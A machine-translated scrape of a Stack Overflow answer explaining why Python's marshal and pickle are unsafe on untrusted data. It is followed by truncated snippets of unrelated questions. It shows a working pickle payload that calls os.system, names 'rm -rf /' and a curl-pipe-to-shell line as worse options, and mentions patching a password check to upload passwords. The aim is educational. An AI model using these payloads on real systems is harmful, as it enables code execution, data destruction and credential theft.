- c - 在位数组中找到第一个零
- linux - Unix 显示有关匹配两种模式之一的文件的信息
- 正则表达式替换多个文件
- linux - 隐藏来自 xtrace 的命令
我在一个项目中使用 cPickle
来快速加载文件。几天前,我读到 marshal
甚至可以比 cPickle
更快。它对我有用,但我很好奇,来自 the documentation 的警告是什么?关于:
Warning
The
marshal
module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source.
如果我不小心,究竟会发生什么?
最佳答案
没有已知方法可以利用marshal
。实际执行代码时使用 marshal.loads()
不是我能做的,看着marhal.c
源代码,我没有立即看到明显的方法。
那么为什么会出现这个警告呢? The BDFL explains :
BTW the warning for marshal is legit -- the C code that unpacks marshal data has not been carefully analyzed against buffer overflows and so on. Remember the first time someone broke into a system through a malicious JPEG? The same could happen with marshal. Seriously.
我建议您阅读其余的讨论;错误显示在哪里解码数据会导致 Python 出现段错误;自 Python 以来,这已得到修复2.5(这个错误可能会被滥用来执行代码)。其他错误可能不过仍然存在!
此外,marshal
文档提到:
This is not a general “persistence” module. [..] The marshal module exists mainly to support reading and writing the “pseudo-compiled” code for Python modules of .pyc files.
因此,它甚至不是为了以可靠的方式持久化数据而设计的。
您可以使用pickle
轻松执行任意代码。例如:
>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'ls /'\ntR.")
bin data download home lib64 mnt proc run srv tmp usr var
boot dev etc lib lost+found opt root sbin sys ubuntu vagrant
0
这是一个无害的 ls/
,但也可以是一个不太无害的 rm -rf/
,或者 curl http://example.com/hack.sh | sh
.
您可以使用 pickletools
模块查看其工作原理:
>>> import pickletools
>>> pickletools.dis(b"cos\nsystem\n(S'ls /'\ntR.")
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING 'ls /'
20: t TUPLE (MARK at 11)
21: R REDUCE
22: . STOP
pickle.py
对这些操作码的含义有一些评论:
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
MARK = b'(' # push special markobject on stack
STRING = b'S' # push string; NL-terminated string argument
TUPLE = b't' # build tuple from topmost stack items
REDUCE = b'R' # apply callable to argtuple, both on stack
STOP = b'.' # every pickle ends with STOP
其中大部分是不言自明的;使用 GLOBAL
您可以获得任何功能,并且用 REDUCE
调用它。
由于 Python 非常动态,您还可以使用它来猴子修补程序在运行时。例如,您可以将 check_password
函数更改为将密码上传到服务器的地方。
XML、json、MessagePack、ini 文件或其他内容。这取决于哪种格式最适合您的情况。
这段代码是否“针对缓冲区溢出等问题进行了仔分割析”?谁知道。大多数代码都没有,C 使得做错事变得容易。1 即使是 Python代码可能容易受到攻击,因为它 may call functions implemented in C that arevulnerable .
有have been problems with Python's JSON module .但同时时间,它在面向公众的应用程序中使用了很多,所以它可能是安全的。它会肯定比 marshal
更安全,因为它只是为 .pyc
文件设计的并明确附带“未审核!”警告。
这当然不能保证。请记住 YAML security hole a few years backthat caused every Ruby on Rails application in the world to be vulnerable toarbitrary code execution .哎呀!这甚至不是一个微妙的缓冲区溢出,但一个更明显的问题。
注意你不应该使用yaml的 load()
方法,因为它有 thesame problems as Ruby's YAML .请改用 safe_load()
。
pickle
模块中的警告非常有根据(应该是state stronger),而 marshal
模块上方的警告似乎更多“此代码在设计时并未考虑安全”类型的警告,但是实际上利用它并不容易,并且依赖于假设的存在关于未知的错误。不过,您最好还是使用其他东西。
1 开源项目确实应该有一个“针对缓冲区溢出等进行仔分割析”的信任印章。是的,您可以花大价钱让 Veracode 等分析您的代码,但这对于开源项目来说是不可行的。在几年前以 Core Infrastructure Initiative 的形式出现 OpenSSL Heartbleed clusterfuck 之后,一些努力做到这一点。 ,但它的范围和预算相当有限(但它还很年轻,可能会在几年内获得关注)。
关于python - 编码(marshal)反序列化 - 不安全,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26931919/
在编程环境中是哪一个?有区别吗?我已经看到了这两种方式,我不想在我的代码中拼错它。 最佳答案 编码(marshal)是工作图 block ;例如,消防编码(marshal)或美国编码(marshal)
我有以下结构: [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] public struct WAVEHDR { in
我找不到以下问题的明确答案:如果一个 COM 类是线程安全的,即它被标记为 Both 或 Free,我真的需要编码它的对象接口(interface)以将它传递给另一个线程吗?相同的过程?我不问两个线程
在编译 C# ASP.NET 应用程序时,我从 Visual Studio 2008 中收到奇怪的警告。谁能告诉我这个警告的含义(如果可能的话,用几个音节的词)? At least one of th
TL;DR:MongoDB 驱动程序是否提供了编码和解码文档单个字段的功能? 这是一个非常简单的问题,但这里有一些上下文: 我有一个工作人员负责在 2 个独立的数据库之间同步数据。当它接收到事件消息时
是否可以在使用自定义编码(marshal)拆收器的结构上使用 Marshal.SizeOf()? 例如: struct Abcde { public int test1; [MarshalAs
我有一张 map :[]map[string]string . 将结果填充到 json.marshal()兼容的对象。输出: [ { "key1": "val1", "key2":
如何在没有根元素的情况下进行编码(marshal)? type Ids struct { Id []string `xml:"id"` } IdsStr, _ := xml.Marshal(&Id
我有这个 C++ 代码: extern "C" __declspec(dllexport) VOID AllocateFoo(MY_DATA_STRUCTURE** foo) { *foo =
我创建了 map[string]interface{} 并且我想通过 2 个重置服务之间的映射传递多种类型。 每次我编码时,我都会在应该包含 reflect.Type 的字段中得到空映射。 Servi
我有一个托管的 .Net 类,它创建了我需要确保正确清理的非托管资源。 我有一个顺序结构: [StructLayout(LayoutKind.Sequential)] struct FooBar {
我在用 val akkaV = "2.2.3" val sprayV = "1.2.0" Seq( "io.spray" % "spray-can" % spra
我正在使用 Castor 编码/取消编码我的 Java 对象,其中一个对象包含一个 EnumMap。Castor 可以编码(marshal)/解封 EnumMaps 吗?我有一个带有一些嵌套 Hash
错误:com.amazonaws.services.dynamodbv2.datamodeling.DynamoDBMappingException:无法编码类型类 [Ljava.lang.Strin
我们在 netbeans 中做了一次 cleanbuild,检查了 jdk 版本并在服务器上部署了所有内容,但仍然出现以下错误。有人可以帮忙吗? javax.servlet.ServletExcept
我想知道是否可以对我的类进行注释,以便编码器第一次遇到对象时,它会生成适当类型的 XML 元素,但任何其他对该对象的后续引用都将具有 XML IDREF条目已创建? 最佳答案 您可以利用 JAXB 的
我正在从现有代码构建一个通用类库,但我收到了一些编译器警告,提示我终其一生都不知道该如何处理。 我有这样的代码: void SomeMethod(Object data) { var size =
我在编码我的 JAXBElement 时遇到了这个异常,它有几个子元素。我如何弄清楚如何查明导致此异常的子元素? java.lang.NullPointerException at com.s
本文整理了Java中org.apache.poi.openxml4j.opc.internal.marshallers.ZipPartMarshaller.marshall()方法的一些代码示例,展示
我最近已经问了一个有关 JAXB 的问题,可以在以下位置找到:How to marshal/unmarshal Java objects with private fields using JAXB
我是一名优秀的程序员,十分优秀!